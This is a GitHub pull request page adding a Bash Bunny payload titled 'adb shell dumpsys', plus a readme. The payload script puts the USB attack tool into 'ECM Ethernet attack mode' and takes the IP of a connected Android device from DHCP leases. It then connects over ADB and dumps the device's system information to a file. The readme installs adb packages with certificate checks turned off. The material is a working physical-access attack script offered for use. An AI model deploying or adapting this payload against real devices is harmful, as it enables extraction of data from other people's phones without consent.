Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

adb shell dumpsys #682

Merged
merged 5 commits into from
Jun 5, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
46 changes: 46 additions & 0 deletions payloads/library/mobile/android/adb_shell_dumpsys/payload.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
# Title: adb shell dumpsys
# Author: D14b0l1c
#
# Description:
# Set the Bash Bunny to ECM Ethernet attack mode
# Extract the IP address of the connected device from DHCP leases
# Connect to the device using ADB over TCP/IP and save the output to a log file
# Dump system information from the device and save it to a file
# Indicate that the payload has finished executing
#
# LED States:
# - Purple: Running HID emulation, connecting to the Android device
# - Blue Blinking: Running the 'adb shell dumpsys' command
# - Red Blinking: Failed to connect to the Android device
# - Green: Finished

# Set the Bash Bunny to ECM Ethernet attack mode
ATTACKMODE ECM_ETHERNET

# Wait for 5 seconds to ensure the network interface is ready
sleep 5

# Extract the IP address of the connected device from DHCP leases
TARGET_IP=$(cat /var/lib/dhcp/dhcpd.leases | grep ^lease | awk '{ print $2 }' | sort | uniq)

# Save the obtained IP address to a log file
cat /var/lib/dhcp/dhcpd.leases | grep ^lease | awk '{ print $2 }' | sort | uniq > /root/logs.txt

# Connect to the device using ADB over TCP/IP and save the output to a log file
adb connect ${TARGET_IP}
adb connect ${TARGET_IP} > /root/logs.txt

# Wait for 20 seconds (optional)
sleep 20

# Dump system information from the device and save it to a file
adb shell dumpsys > /root/dumpsys.txt

# Wait for 10 seconds (optional)
sleep 10

# Set the Bash Bunny back to ECM Ethernet attack mode
ATTACKMODE ECM_ETHERNET

# Indicate that the payload has finished executing
LED FINISH
35 changes: 35 additions & 0 deletions payloads/library/mobile/android/adb_shell_dumpsys/readme.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
## Requirements

Before using this Bash Bunny payload, please ensure you meet the following requirements:

- **Bash Bunny device**: This payload is designed to run on the Bash Bunny hardware platform. Make sure you have a Bash Bunny device available.
- **Installation of essential `adb` packages**: In order to enable `adb` functionality on the Bash Bunny, you need to install the following packages:
- `android-liblog`
- `android-libbase`
- `android-libcutils`
- `android-libadb`
- `adb`

### Installing Essential `adb` Packages

To install the required `adb` packages on your Bash Bunny, follow these steps:

1. Connect your Bash Bunny to a computer.
2. Open a terminal window and navigate to the Bash Bunny storage directory.
3. Execute the following commands to download and install the essential `adb` packages:

```bash
wget --no-check-certificate https://archive.debian.org/debian/pool/main/a/android-platform-system-core/android-liblog_7.0.0+r33-1_armhf.deb
dpkg -i android-liblog_7.0.0+r33-1_armhf.deb

wget --no-check-certificate https://archive.debian.org/debian/pool/main/a/android-platform-system-core/android-libbase_7.0.0+r33-1_armhf.deb
dpkg -i android-libbase_7.0.0+r33-1_armhf.deb

wget --no-check-certificate https://archive.debian.org/debian/pool/main/a/android-platform-system-core/android-libcutils_7.0.0+r33-1_armhf.deb
dpkg -i android-libcutils_7.0.0+r33-1_armhf.deb

wget --no-check-certificate https://archive.debian.org/debian/pool/main/a/android-platform-system-core/android-libadb_7.0.0+r33-1_armhf.deb
dpkg -i android-libadb_7.0.0+r33-1_armhf.deb

wget --no-check-certificate https://archive.debian.org/debian/pool/main/a/android-platform-system-core/adb_7.0.0+r33-1_armhf.deb
dpkg -i adb_7.0.0+r33-1_armhf.deb